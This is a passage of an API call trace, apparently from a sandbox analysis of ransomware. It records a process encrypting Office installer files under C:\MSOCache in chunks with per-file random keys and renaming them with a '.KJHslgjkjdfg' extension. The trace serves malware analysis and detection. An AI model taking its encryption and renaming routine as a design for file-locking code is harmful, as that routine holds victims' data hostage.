lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0148.609] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0148.609] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0148.609] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.609] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x978, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x978, lpOverlapped=0x0) returned 1 [0148.609] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x980, dwBufLen=0x980 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x980) returned 1 [0148.609] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.609] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x980, lpOverlapped=0x0) returned 1 [0148.609] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.609] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.609] SetEndOfFile (hFile=0x124) returned 1 [0148.612] GetProcessHeap () returned 0x2ef0000 [0148.612] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0148.612] GetProcessHeap () returned 0x2ef0000 [0148.612] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0148.613] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0148.623] CloseHandle (hObject=0x124) returned 1 [0148.623] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0148.624] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0148.624] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=43806141) returned 1 [0148.624] GetProcessHeap () returned 0x2ef0000 [0148.624] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0148.624] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0148.624] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.624] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0x3, lpOverlapped=0x0) returned 1 [0148.630] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0148.630] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0148.631] GetProcessHeap () returned 0x2ef0000 [0148.631] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0148.631] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4d8*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4d8*=0x30) returned 1 [0148.631] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.631] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f4*=0x30, lpOverlapped=0x0) returned 1 [0148.631] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0148.631] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0148.631] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0148.631] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0148.631] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0148.631] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0148.631] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0148.631] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0148.632] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0148.657] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0148.662] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.662] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0148.664] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.664] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0148.664] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0148.664] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0148.670] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0148.673] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.673] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0148.675] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.675] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0148.675] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2986dc0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0148.675] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0148.677] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0148.680] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2986dc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.680] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0148.681] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.681] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0148.681] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.681] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.681] SetEndOfFile (hFile=0x124) returned 1 [0148.684] GetProcessHeap () returned 0x2ef0000 [0148.684] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0148.684] GetProcessHeap () returned 0x2ef0000 [0148.684] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0148.684] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.kjhslgjkjdfg")) returned 1 [0149.342] CloseHandle (hObject=0x124) returned 1 [0149.342] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0149.342] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0149.343] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=2522624) returned 1 [0149.343] GetProcessHeap () returned 0x2ef0000 [0149.343] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0149.343] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0149.343] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.343] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0149.343] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0149.343] GetProcessHeap () returned 0x2ef0000 [0149.343] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0149.343] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0149.343] CryptDestroyKey (hKey=0x2f18208) returned 1 [0149.343] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0149.351] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0149.351] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0149.351] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0149.351] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0149.351] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0149.352] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0149.352] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0149.352] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0149.352] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0149.386] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0149.389] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.389] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0149.390] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.390] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0149.390] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0149.390] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0149.411] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0149.413] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.414] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0149.415] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.415] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0149.415] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0149.415] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0149.425] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0149.428] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.428] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0149.429] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.429] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0149.429] CryptDestroyKey (hKey=0x2f18208) returned 1 [0149.429] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.429] SetEndOfFile (hFile=0x124) returned 1 [0149.432] GetProcessHeap () returned 0x2ef0000 [0149.432] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0149.432] GetProcessHeap () returned 0x2ef0000 [0149.432] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0149.432] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.kjhslgjkjdfg")) returned 1 [0149.433] CloseHandle (hObject=0x124) returned 1 [0149.695] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0149.695] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0149.695] GetProcessHeap () returned 0x2ef0000 [0149.695] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0149.696] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0149.696] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0149.696] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0149.707] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0149.707] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0149.707] GetProcessHeap () returned 0x2ef0000 [0149.707] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0149.708] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0149.708] CryptDestroyKey (hKey=0x2f18208) returned 1 [0149.708] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0149.708] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0149.708] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0149.708] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0149.708] SetFilePointerEx (in: 